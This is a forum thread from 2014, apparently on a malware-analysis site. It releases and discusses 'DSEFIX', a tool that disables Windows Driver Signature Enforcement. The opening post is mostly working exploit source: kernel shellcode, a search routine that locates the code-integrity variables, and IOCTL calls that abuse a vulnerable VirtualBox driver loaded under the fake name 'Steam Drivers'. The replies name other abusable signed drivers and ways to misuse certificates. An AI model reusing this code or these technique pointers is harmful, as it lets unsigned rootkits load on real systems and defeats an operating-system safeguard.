A forum for reverse engineering, OS internals and malware analysis 

Forum for announcements and questions about tools and software.
 #23065  by EP_X0FF
 Sun Jun 08, 2014 8:50 am
We are so happy that most of "rootkit" code inside Turla was inspired by our program and features (this level of awareness is never seen anywhere in ITW malware since Rustock), so we decided to create something inspired by Turla in sort of exchange.

What is Driver Signature Enforcement? It is a security feature added to the NT6 which main purpose is to disallow loading drivers without digital signing, see http://msdn.microsoft.com/en-us/library ... s.85).aspx for more info. In reality this is yet another marketing bullshit from MS which ruined many freeware programs, and didn't fixed anything in antimalware field - if malware authors really want to load their driver - they will do this. Mainstream crapware like ssdt hooking trash were dying even without this "improvements" because of PatchGuard which in my opinion much better security feature. And how they implemented this DSE feature. Like many of security features inside MS Windows it is implemented by a single variable flag and casual "IF" statement. The internals of this "security feature" are well described in the web.

The 2 major versions of this feature.

First version built-in Vista and without any noticeable changes in Seven. It is based on global private variable g_CiEnabled (type of BOOLEAN) and "if" checks inside private SepInitializeCodeIntegrity routine.

Second version present since Windows 8 - where the above variable was removed and DSE state now controlled via another global variable (this time initialized in CI.DLL) called g_CiOptions inside CipInitialize routine. This is variable that holds combination of flags - by default it value is 6, without DSE it value set to 0 (you can check this by configuring Windows to boot without DSE).
To make life of WinRT jailbreakers harder MS protected this variable by PatchGuard in 8.1 <- this doesn't affect malware anyhow, why? See below. So like in the past of Vista introduced "Protected Processes" all security based on checking one variable.

How Turla works with DSE? It turns it off with help of old VirtualBox driver that have bug allowing to write and execute code in the kernel mode and as result overwrite certain kernel address. The last available rootkit dated end of 2013 wasn't able to run on Windows 8. There two major reasons why - because it can't disable DSE and PatchGuard. They both changed starting Windows 8. About PatchGuard like Cr4sh said "If your Windows rootkit disabling PatchGuard in any ways -- you probably misunderstanding the rootkits conception." And they were unable to disable DSE because of lack of ready to use source code. Funny yes.

This proclaimed to be goverment sponsored lolkit in a reality is just a result, a compilation of several freelancers work (from both UA and RU) to create and support toolkit they sell for various kinds of espionage. For idiots from BAE Systems who are painting fake malware distribution diagrams in the Excel - No KGB or Kremlin here, guys, take a pill and relax with your prepaid propaganda.

So we would like to reimplement this part of Turla, update "Kremlin hand". Additionally we have fixed original Turla bug disallowing it multiple exploitations.

You use this software at your OWN RISK. It was mainly tested on Vista/7/8.1, this program requires admin rights to run, because of driver loading. This program is not malware no matter what AV think or will be thinking in the future.

For 8.1. case - due to PatchGuard checking routine delay - you need to quickly load your unsigned driver and then restore state of g_CiOptions to avoid wonderful BSOD. Again not a problem for a malware.

running dsefix without parameters turns off DSE, to restore DSE run dsefix with -e parameter.

https://www.virustotal.com/en/file/0671 ... 402216763/

In case of certificate revocation - bugged VirtualBox driver can be replaced with more fresh :)

In case if something doesn't work, you found a bug or you want to copy-paste with your own copyrights here is partial source code.

main.cpp
Code: Select all
#include "ntdll\ntdll.h"
#include "ntdll\ntstatus.h"
#include "main.h"
#include "vbox.h"
#include "vboxdrv.h"
#include "ldasm.h"
#include "rtls\prtl.h"
#include "ntdll\winnative.h"

#pragma data_seg("Shared")
volatile LONG g_lApplicationInstances = 0;
#pragma data_seg()
#pragma comment(linker, "/Section:Shared,RWS")


RTL_OSVERSIONINFOEXW		osv;

//disable DSE (vista+)
const unsigned char shellcode[] = {   /* xor rax, rax */
	0x48, 0x31, 0xc0, 0xc3            /* ret */
};

//enabled DSE (win8+)
const unsigned char shellcode2[] = {    /* xor rax, rax */
	0x48, 0x31, 0xc0, 0xb0, 0x06, 0xc3  /* mov al, 6 */
};                                      /* ret */  

//enabled DSE (vista+)
const unsigned char shellcode3[] = {    /* xor rax, rax */
	0x48, 0x31, 0xc0, 0xb0, 0x01, 0xc3  /* mov al, 1 */
};                                      /* ret */  


DWORD align_gt(DWORD p, DWORD align)
{
	if ( (p % align) == 0 )
		return p;

	return p + align - (p % align);
}

DWORD align_le(DWORD p, DWORD align)
{
	if ( (p % align) == 0 )
		return p;

	return p - (p % align);
}

LPVOID PELoaderLoadImage(IN LPVOID Buffer, PDWORD SizeOfImage)
{
	LPVOID					exeBuffer = NULL;
	PIMAGE_DOS_HEADER		dosh = (PIMAGE_DOS_HEADER)Buffer;
	PIMAGE_FILE_HEADER		fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
	PIMAGE_OPTIONAL_HEADER	popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
	PIMAGE_SECTION_HEADER	sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);
	DWORD					c, p, rsz;
	PIMAGE_BASE_RELOCATION	rel;
	DWORD_PTR				delta;
	LPWORD					chains;

	do {

		*SizeOfImage = popth->SizeOfImage;
		exeBuffer = VirtualAlloc(NULL, popth->SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if ( exeBuffer == NULL )
			break;

		// render image
		memcpy(exeBuffer, Buffer, align_gt(popth->SizeOfHeaders, popth->FileAlignment));

		for (c=0; c<fileh->NumberOfSections; c++)
			if ( (sections[c].SizeOfRawData > 0) && (sections[c].PointerToRawData > 0) )
				memcpy( (PBYTE)exeBuffer + sections[c].VirtualAddress,
						(PBYTE)Buffer + align_le(sections[c].PointerToRawData, popth->FileAlignment),
						align_gt(sections[c].SizeOfRawData, popth->FileAlignment) );

		// reloc image
		dosh = (PIMAGE_DOS_HEADER)exeBuffer;
		fileh = (PIMAGE_FILE_HEADER)((PBYTE)dosh + sizeof(DWORD) + dosh->e_lfanew);
		popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
		sections = (PIMAGE_SECTION_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER) + fileh->SizeOfOptionalHeader);

		if ( popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC )
			if ( popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0 )
			{
				rel = (PIMAGE_BASE_RELOCATION)((PBYTE)exeBuffer + popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
				rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
				delta = (DWORD_PTR)exeBuffer - popth->ImageBase;

				c = 0;
				while ( c < rsz ) {
					p = sizeof(IMAGE_BASE_RELOCATION);
					chains = (LPWORD)((PBYTE)rel + p);

					while ( p < rel->SizeOfBlock ) {

						switch (*chains >> 12) {
						case IMAGE_REL_BASED_HIGHLOW:
							*(LPDWORD)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += (DWORD)delta;
							break;
						case IMAGE_REL_BASED_DIR64:
							*(PULONGLONG)((ULONG_PTR)exeBuffer + rel->VirtualAddress + (*chains & 0x0fff) ) += delta;
							break;
						}

						chains++;
						p += sizeof(WORD);
					}

					c += rel->SizeOfBlock;
					rel = (PIMAGE_BASE_RELOCATION)((PBYTE)rel + rel->SizeOfBlock);
				}
			}
		
		return exeBuffer;
	} while ( FALSE );

	return NULL;
}

LPVOID PELoaderGetProcAddress(LPVOID ImageBase, PCHAR RoutineName )
{
	PIMAGE_EXPORT_DIRECTORY		ExportDirectory = NULL;
	PIMAGE_FILE_HEADER			fh1  = NULL;
	PIMAGE_OPTIONAL_HEADER32	oh32 = NULL;
	PIMAGE_OPTIONAL_HEADER64	oh64 = NULL;

	USHORT		OrdinalNumber;
	PULONG		NameTableBase;
	PUSHORT		NameOrdinalTableBase;
	PULONG		Addr;
	LONG		Result;
	ULONG		High, Low, Middle = 0;

	fh1 = (PIMAGE_FILE_HEADER)((ULONG_PTR)ImageBase + ((PIMAGE_DOS_HEADER)ImageBase)->e_lfanew + sizeof(DWORD) );
	oh32 = (PIMAGE_OPTIONAL_HEADER32)((ULONG_PTR)fh1 + sizeof(IMAGE_FILE_HEADER));
	oh64 = (PIMAGE_OPTIONAL_HEADER64)oh32;

	if (fh1->Machine == IMAGE_FILE_MACHINE_AMD64) {
		ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase + 
			oh64->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	} else {
		ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((ULONG_PTR)ImageBase + 
			oh32->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
	}

	NameTableBase = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNames);
	NameOrdinalTableBase = (PUSHORT)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfNameOrdinals);
	Low = 0;
	High = ExportDirectory->NumberOfNames - 1;
	while (High >= Low)	{

		Middle = (Low + High) >> 1;

		Result = _strcmpA(
			RoutineName, 
			(char *)ImageBase + NameTableBase[Middle]
			);

		if (Result < 0)	{

			High = Middle - 1;

		} else {

			if (Result > 0)	{

				Low = Middle + 1;
				
			} else {

				break;
			}
		}
	} //while
	if (High < Low)	
		return NULL;

	OrdinalNumber = NameOrdinalTableBase[Middle];
	if ((ULONG)OrdinalNumber >= ExportDirectory->NumberOfFunctions)
		return NULL;

	Addr = (PULONG)((PBYTE)ImageBase + (ULONG)ExportDirectory->AddressOfFunctions);
	return (LPVOID)((PBYTE)ImageBase + Addr[OrdinalNumber]);
}

BOOL ControlDSE(HANDLE hDriver, ULONG_PTR g_CiAddress, PVOID shellcode)
{
	BOOL			bRes = FALSE;
	SUPCOOKIE		Cookie;
	SUPLDROPEN		OpenLdr;
	DWORD			bytesIO = 0;
	PVOID			ImageBase = NULL;
	PSUPLDRLOAD		pLoadTask = NULL;
	SUPSETVMFORFAST vmFast;

	if (!ARGUMENT_PRESENT(hDriver)) 
		return FALSE;
	if (!ARGUMENT_PRESENT(g_CiAddress)) 
		return FALSE;
	if (!ARGUMENT_PRESENT(shellcode)) 
		return FALSE;

	memset(&Cookie, 0, sizeof(SUPCOOKIE));

	Cookie.Hdr.u32Cookie = SUPCOOKIE_INITIAL_COOKIE;
	Cookie.Hdr.cbIn =  SUP_IOCTL_COOKIE_SIZE_IN;
	Cookie.Hdr.cbOut = SUP_IOCTL_COOKIE_SIZE_OUT;
	Cookie.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
	Cookie.Hdr.rc = 0;
	Cookie.u.In.u32ReqVersion = 0;
	Cookie.u.In.u32MinVersion = 0x00070002;
	_strcpyA(Cookie.u.In.szMagic, SUPCOOKIE_MAGIC);

	if (!DeviceIoControl(hDriver, SUP_IOCTL_COOKIE, &Cookie, SUP_IOCTL_COOKIE_SIZE_IN, &Cookie, 
		SUP_IOCTL_COOKIE_SIZE_OUT, &bytesIO, NULL)) goto fail;

	memset(&OpenLdr, 0, sizeof(OpenLdr));

	OpenLdr.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
	OpenLdr.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
	OpenLdr.Hdr.cbIn = SUP_IOCTL_LDR_OPEN_SIZE_IN;
	OpenLdr.Hdr.cbOut = SUP_IOCTL_LDR_OPEN_SIZE_OUT;
	OpenLdr.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
	OpenLdr.Hdr.rc = 0;
	OpenLdr.u.In.cbImage = sizeof(OpenLdr.u.In.szName);
	OpenLdr.u.In.szName[0] = 'a';
	OpenLdr.u.In.szName[1] = 0;

	if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_OPEN, &OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_IN, 
		&OpenLdr, SUP_IOCTL_LDR_OPEN_SIZE_OUT, &bytesIO, NULL)) goto fail;

	ImageBase = OpenLdr.u.Out.pvImageBase;

	pLoadTask = (PSUPLDRLOAD)VirtualAlloc(NULL, 0x90, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (pLoadTask == NULL) goto fail;

	memset(pLoadTask, 0, 0x90);

	pLoadTask->Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
	pLoadTask->Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
	pLoadTask->Hdr.cbIn = 0x88;
	pLoadTask->Hdr.cbOut = SUP_IOCTL_LDR_LOAD_SIZE_OUT;
	pLoadTask->Hdr.fFlags =  SUPREQHDR_FLAGS_MAGIC;
	pLoadTask->Hdr.rc = 0;
	pLoadTask->u.In.eEPType = SUPLDRLOADEP_VMMR0;
	pLoadTask->u.In.pvImageBase = (RTR0PTR)ImageBase;
	pLoadTask->u.In.EP.VMMR0.pvVMMR0 = (RTR0PTR)(ULONG_PTR)0x1000;
	pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryEx = (RTR0PTR)ImageBase;
	pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryFast = (RTR0PTR)ImageBase;
	pLoadTask->u.In.EP.VMMR0.pvVMMR0EntryInt = (RTR0PTR)ImageBase;
	memcpy(pLoadTask->u.In.achImage, shellcode, sizeof(shellcode));
	pLoadTask->u.In.cbImage = 0x20;

	if (!DeviceIoControl(hDriver, SUP_IOCTL_LDR_LOAD, pLoadTask, 0x88, 
		pLoadTask, sizeof(SUPREQHDR), &bytesIO, NULL)) goto fail;

	vmFast.Hdr.u32Cookie = Cookie.u.Out.u32Cookie;
	vmFast.Hdr.u32SessionCookie = Cookie.u.Out.u32SessionCookie;
	vmFast.Hdr.rc = 0;
	vmFast.Hdr.fFlags = SUPREQHDR_FLAGS_DEFAULT;
	vmFast.Hdr.cbIn = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN;
	vmFast.Hdr.cbOut = SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT;
	vmFast.u.In.pVMR0 = (PVOID)(ULONG_PTR)0x1000;

	if (!DeviceIoControl(hDriver, SUP_IOCTL_SET_VM_FOR_FAST, &vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_IN, 
		&vmFast, SUP_IOCTL_SET_VM_FOR_FAST_SIZE_OUT, &bytesIO, NULL)) goto fail;


	bRes = DeviceIoControl(hDriver, SUP_IOCTL_FAST_DO_NOP, (LPVOID)g_CiAddress, 0, (LPVOID)g_CiAddress, 0, &bytesIO, NULL);

fail:
	if (pLoadTask != NULL) VirtualFree(pLoadTask, 0, MEM_RELEASE);
	if (hDriver != NULL) CloseHandle(hDriver);
	return bRes;
}

BOOL DoWork(HANDLE hDriver, BOOL bDisable)
{
	BOOL						bRes = FALSE;
	PRTL_PROCESS_MODULES		miSpace = NULL;
	ULONG						rl = 0, c;
	LONG						rel = 0;
	NTSTATUS					ntStatus = STATUS_UNSUCCESSFUL;
	CHAR						KernelFullPathName[BUFFER_SIZE];
	CHAR						textbuf[BUFFER_SIZE];
	PVOID						sc = NULL, kBuffer = NULL, MappedKernel = NULL;
	PBYTE						CiInit = NULL;
	ULONG_PTR					KernelBase = 0L;
	HANDLE						hFile = INVALID_HANDLE_VALUE;
	LARGE_INTEGER				fsz;
	ldasm_data					ld;

	if (!ARGUMENT_PRESENT(hDriver))
		return FALSE;

	do {

		miSpace = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, 1024*1024, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if ( miSpace == NULL )
			break;
		
		ntStatus = NtQuerySystemInformation(SystemModuleInformation, miSpace, 1024*1024, &rl);
		if ( !NT_SUCCESS(ntStatus) )
			break;

		if ( miSpace->NumberOfModules == 0 )
			break;

		rl = GetSystemDirectoryA(KernelFullPathName, MAX_PATH);
		if ( rl == 0 )
			break;
		
		KernelFullPathName[rl] = (CHAR)'\\';
		
		
		_strcpyA(textbuf, "[DF] Windows v");
		ultostrA(osv.dwMajorVersion, _strendA(textbuf));
		_strcatA(textbuf, ".");
		ultostrA(osv.dwMinorVersion, _strendA(textbuf));
		OutputDebugStringA(textbuf);


		if ( osv.dwMinorVersion < 2 ) {
			_strcpyA(&KernelFullPathName[rl+1], (const char*)&miSpace->Modules[0].FullPathName[miSpace->Modules[0].OffsetToFileName]);
			KernelBase = (ULONG_PTR)miSpace->Modules[0].ImageBase;
		} else {
			_strcpyA(&KernelFullPathName[rl+1], "CI.DLL");
			for (c=0; c<miSpace->NumberOfModules; c++)
				if ( _strcmpiA((const char *)&miSpace->Modules[c].FullPathName[miSpace->Modules[c].OffsetToFileName], "CI.DLL") == 0 ) {
					KernelBase = (ULONG_PTR)miSpace->Modules[c].ImageBase;
					break;
				}
		}

		VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);
		miSpace = NULL;


		_strcpyA(textbuf, "[DF] Target module ");
		_strcatA(textbuf, KernelFullPathName);
		OutputDebugStringA(textbuf);


		hFile = CreateFileA(KernelFullPathName, SYNCHRONIZE | FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);

		_strcpyA(textbuf, "[DF] Module base ");
		u64tohexA(KernelBase, _strendA(textbuf));
		OutputDebugStringA(textbuf);

		if ( hFile == INVALID_HANDLE_VALUE )
			break;
		fsz.QuadPart = 0;
		GetFileSizeEx(hFile, &fsz);

		kBuffer = (PRTL_PROCESS_MODULES)VirtualAllocEx(GetCurrentProcess(), NULL, fsz.LowPart, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
		if ( kBuffer == NULL )
			break;
		if ( !ReadFile(hFile, kBuffer, fsz.LowPart, &rl, NULL) )
			break;
		CloseHandle(hFile);
		hFile = INVALID_HANDLE_VALUE;

		MappedKernel = PELoaderLoadImage(kBuffer, &rl);
		if (MappedKernel == NULL) 
			break;

		VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
		kBuffer = NULL;
		
		/* find g_CiEnabled vista, seven */
		if ( osv.dwMinorVersion < 2 ) {
			for (c=0; c<rl-sizeof(DWORD); c++) {
				if ( *(PDWORD)((PBYTE)MappedKernel + c) == 0x1d8806eb ) {
					rel = *(PLONG)((PBYTE)MappedKernel + c+4);
					KernelBase = KernelBase + c+8 + rel;
					break;
				}
			}
		} else {
			/* find g_CiOptions w8, blue */
			CiInit = (PBYTE)PELoaderGetProcAddress(MappedKernel, "CiInitialize");
			c=0;
			do {
				if ( CiInit[c] == 0xE9 ) {      /* jmp CipInitialize */
					rel = *(PLONG)(CiInit+c+1);
					break;
				}
				c += ldasm(CiInit+c, &ld, 1);
			} while (c < 256);
			CiInit = CiInit + c+5 + rel;
			c=0;
			do {
				if ( *(PUSHORT)(CiInit+c) == 0x0d89 ) {
					rel = *(PLONG)(CiInit+c+2);
					break;
				}
				c += ldasm(CiInit+c, &ld, 1);
			} while (c < 256);
			CiInit = CiInit + c+6 + rel;
			KernelBase = KernelBase + CiInit - (PBYTE)MappedKernel;
		}

		if ( rel == 0 )
			break;

		_strcpyA(textbuf, "[DF] Apply patch to address ");
		u64tohexA(KernelBase, _strendA(textbuf));
		OutputDebugStringA(textbuf);

		if (bDisable) {
			sc = (PVOID)shellcode;
		} else {
			//vista+
			if ( osv.dwMinorVersion < 2 ) {
				sc = (PVOID)shellcode3;
			} else {
				//8+
				sc = (PVOID)shellcode2;
			}
		}

		bRes = ControlDSE(hDriver, KernelBase, sc);

	} while ( FALSE );


	if ( hFile != INVALID_HANDLE_VALUE )
		CloseHandle(hFile);
	if ( kBuffer != NULL )
		VirtualFreeEx(GetCurrentProcess(), kBuffer, 0, MEM_RELEASE);
	if ( MappedKernel != NULL )
		VirtualFreeEx(GetCurrentProcess(), MappedKernel, 0, MEM_RELEASE);
	if ( miSpace != NULL )
		VirtualFreeEx(GetCurrentProcess(), miSpace, 0, MEM_RELEASE);


	return bRes;
}

HANDLE LoadVulnerableDriver(
	VOID
	)
{
	HANDLE	             hDriver = NULL;
	NTSTATUS             Status = STATUS_UNSUCCESSFUL;
	UNICODE_STRING       drvname;
	OBJECT_ATTRIBUTES    attr;
	WCHAR                szDriverBuffer[BUFFER_SIZE];	

	RtlSecureZeroMemory(szDriverBuffer, BUFFER_SIZE);
	_strcpyW(szDriverBuffer, L"\\??\\");

	if (GetSystemDirectory(&szDriverBuffer[4], MAX_PATH)) {

		_strcatW(szDriverBuffer, L"\\drivers\\ultra4.sys");

		Status = (NTSTATUS)NativeWriteBufferToFile(&szDriverBuffer[4], VBoxDrv, 
			sizeof(VBoxDrv), FALSE, FALSE);

		if ( NT_SUCCESS(Status) ) {
			Status = NativeLoadDriver(szDriverBuffer, VBoxDrvRegPath, VBoxDrvDispName);
			if ( NT_SUCCESS(Status) ) {
				hDriver = NativeOpenDevice(VBoxDrvDevName, NULL);
			}

			RtlInitUnicodeString(&drvname, szDriverBuffer);
			InitializeObjectAttributes(&attr, &drvname, OBJ_CASE_INSENSITIVE, 0, NULL);
			NtDeleteFile(&attr);
		}
	}
	return hDriver;
}

void UnloadVulnerableDriver(
	VOID
	)
{
	NativeUnLoadDriver(VBoxDrvRegPath);
	NativeRegDeleteKeyRecursive(0, VBoxDrvRegPath);
}

void main()
{
	LONG x;
	ULONG l = 0;
	HANDLE hDriver = NULL;
	WCHAR cmdLineParam[MAX_PATH];
	BOOL bDisable = TRUE;
	
	OutputDebugStringA("[DF] DSEFIX v1.0 started (c) 2014 EP_X0FF, MP_ART, nrin");
	OutputDebugStringA("[DF] Supported x64 OS: from NT6.0 up to NT6.3"); 

	x = InterlockedIncrement((PLONG)&g_lApplicationInstances);
	if ( x > 1 ) {
		InterlockedDecrement((PLONG)&g_lApplicationInstances);
		OutputDebugStringA("[DF] Another instance running, close it before");
		ExitProcess(0);
		return;
	}

	RtlSecureZeroMemory(&osv, sizeof(osv));
	osv.dwOSVersionInfoSize = sizeof(osv);
	RtlGetVersion((PRTL_OSVERSIONINFOW)&osv);
	if ( osv.dwMajorVersion != 6 ) {
		InterlockedDecrement((PLONG)&g_lApplicationInstances);
		OutputDebugStringA("[DF] Unsuppoted OS");
		ExitProcess(0);
		return;
	}

	RtlSecureZeroMemory(cmdLineParam, sizeof(cmdLineParam));
	GetCommandLineParamW(GetCommandLineW(), 1, cmdLineParam, MAX_PATH, &l);

	if ( _strcmpiW(cmdLineParam, L"-e") == 0 ) {
		OutputDebugStringA("[DF] DSE will be (re)enabled");
		bDisable = FALSE;
	} else {
		OutputDebugStringA("[DF] DSE will be disabled");
		bDisable = TRUE;
	}

	//assign driver load privilege
	if (NT_SUCCESS(NativeAdjustPrivileges(SE_LOAD_DRIVER_PRIVILEGE))) {

		OutputDebugStringA("[DF] Load driver privilege adjusted");

		hDriver = LoadVulnerableDriver();
		if (hDriver != NULL) {

			OutputDebugStringA("[DF] Vulnerable driver loaded");

			//manupulate kernel variable		
			if (DoWork(hDriver, bDisable)) {
				OutputDebugStringA("[DF] Kernel memory patched");
			} else {
				OutputDebugStringA("[DF] Failed to patch kernel memory");
			}

			OutputDebugStringA("[DF] Cleaning up");
			UnloadVulnerableDriver();
		} else {
			OutputDebugStringA("[DF] Failed to load vulnerable driver");
		}

	} else {
		OutputDebugStringA("[DF] Cannot adjust privilege");
	}
	InterlockedDecrement((PLONG)&g_lApplicationInstances);
	OutputDebugStringA("[DF] Finish");
	ExitProcess(0);
}
main.h
Code: Select all
#define BUFFER_SIZE MAX_PATH * 2
#define VBoxDrvDispName L"Steam Drivers"
#define VBoxDrvRegPath	L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\vboxdrv"
#define VBoxDrvDevName  L"\\Device\\VBoxDrv"
vboxdrv.h is a translated to C array binary of vulnerable driver
vbox header -> http://www.kernelmode.info/forum/viewto ... 363#p22363
ldasm -> https://github.com/vol4ok/libsplice/blo ... km/ldasm.c

Example of usage
Image
Last edited by EP_X0FF on Sun Mar 15, 2015 3:16 pm, edited 1 time in total. Reason: removed attach, see http://www.kernelmode.info/forum/viewtopic.php?p=25426#p25426 for recent version
 #23077  by AaLl86
 Tue Jun 10, 2014 9:10 am
There is a way to completely disable Windows 8.1 Patchguard in a live system.... But the solution you have proposed actually work: if you disable DSE, load your unsigned driver, and then immediately restore DSE original status, no crash anymore....

"In case of certificate revocation - bugged VirtualBox driver can be replaced with more fresh :) " Which one? Could you be so kindly to tell me?

Andrea
 #23079  by EP_X0FF
 Tue Jun 10, 2014 9:16 am
1) There is no need to turn off PG, it is sign of rootkit author incompetence.
2) Take any bugged driver that allows you to write at random address and do the same. It is not proposed to maintain and support this "tool" at forever. If they finally manage to ban the bugged vbox then we did not regret it at all.
 #23082  by AaLl86
 Tue Jun 10, 2014 9:48 am
EP_X0FF wrote:1) There is no need to turn off PG, it is sign of rootkit author incompetence.
2) Take any bugged driver that allows you to write at random address and do the same. It is not proposed to maintain and support this "tool" at forever. If they finally manage to ban the bugged vbox then we did not regret it at all.
Hi EP_X0FF!
Thanks for the answer.
I agree with you for the point 1, but I think that in rare cases, when you do some deep particular Kernel hook, you need to disable PG....
Of course there are a lot "legal" way to perform filtering, and stuff like that, but for infections like Turla, I think that it actually need to disable it. Btw mine is only a personal thought. Why "it is sign of rootkit author incompetence"? To disable last version of Windows 8.1 PG, you have to be very skilled.... trust in me :-)

Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?

Thanks very much!
Great work btw!
Andrea
 #23084  by EP_X0FF
 Tue Jun 10, 2014 10:19 am
Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?
http://www.powerofcommunity.net/poc2012/mj0011.pdf as for something new, well you should understand that it is kind of zeroday. Link to example inside.
when you do some deep particular Kernel hook, you need to disable PG....
TDL3 and based on it TDL4 are most successful commercial rootkits of all time, none of them hook anything in kernel (except original TDL3 but it was x86-32 only) that can trigger PatchGuard. Kernel code modification is by design self revealing of rootkit presense. What is rootkit if it self-reveals? It is lolkit then. The only reason why they hack code in kernel and disable PatchGuard - incompetence, this means they unable to do what they want to do without direct hack.
 #23093  by Vrtule
 Wed Jun 11, 2014 12:53 pm
Hi Andrea,
Btw do you know some example of bugged driver like the Vbox one? Can you pinpoint some references for me?
For some time, it was possible to bypass DSE with the following buggy driver:
https://github.com/shjalayeri/DriveCrypt
I tested it about year abo and it still worked, howerver, it is possible that my machine had not up-to-date CRLs (I am not sure whether they are installed automatically).

If I wanted to find a buggy driver, I would examine drivers that are parts of a security software produced by a small (and relatively unknown) company (it may also be something like disk encryption software).

Patchguard
I also view the Patchguard as a much better security feature than DSE. Personally, I usualy attempt not to hook at all, if possible. Well, hooks can be much simpler and more straightforward way how to do something but they are still visible and tend to be less stable (and portable) than more documented techniques.

The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).
 #23095  by R136a1
 Wed Jun 11, 2014 6:00 pm
Vrtule wrote: The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).
You forget that certificates can be stolen to sign your own code without any problems. There are also open-source certificates which are abused by Malware/Adware (e.g. http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml). It' has shown that the whole certification story is nice business model for moneymaking, but no real benefit for security...
 #23097  by Vrtule
 Wed Jun 11, 2014 7:00 pm
R136a1 wrote:
Vrtule wrote: The DSE would work quite well if:
* the drivers were not buggy, or
* the process of issuing and managing a Class 3 certificate was more strict (well, $500 is not a price many want to pay and customer verifications are quite tough. In some countries, AFAIK, it is quite impossible to complete the the verificaton process without breaking local laws. But I think nobody forces you to revoke your certificate in case a serious bug is found in your driver).
You forget that certificates can be stolen to sign your own code without any problems. There are also open-source certificates which are abused by Malware/Adware (e.g. http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml). It' has shown that the whole certification story is nice business model for moneymaking, but no real benefit for security...
Well, I think that when a certificate is stolen and abused the responsibility still lies on its original owner (unless it is revoked in time) because it is the responsibility of the owner to protect the certificate by such means that minimize probability of stealing it. But I do not expect there were any punishments in this manner (for code signing certificates).

What information must one provide to get this open source certificate (http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml)?

Yes, certs become quite good business. And there is another problem; when a file is signed people (and software) tend to automatically treat is as trusted.
 #23112  by R136a1
 Fri Jun 13, 2014 10:48 am
Vrtule wrote: What information must one provide to get this open source certificate (http://www.certum.eu/certum/cert,offer_ ... ion_cs.xml)?
I don't know, but the first data can be submitted here:
https://en.sklep.unizeto.pl/test_certificates

Are you asking in context of your VrtuleTree tool? I think it is indeed a nice offer from Certum, I would give it a try.
 #23113  by Vrtule
 Fri Jun 13, 2014 11:25 am
Are you asking in context of your VrtuleTree tool? I think it is indeed a nice offer from Certum, I would give it a try.
No, I am just curious. I have finally passed the verification steps needed by Symantec, so I got that expensive certificate for one year (I could afford it since I got some "extra" money). I am just wondering if the Certum requires a letter with customer's signature verified by Notary Public (and with some photocopies of identification card(s)) as Symantec does.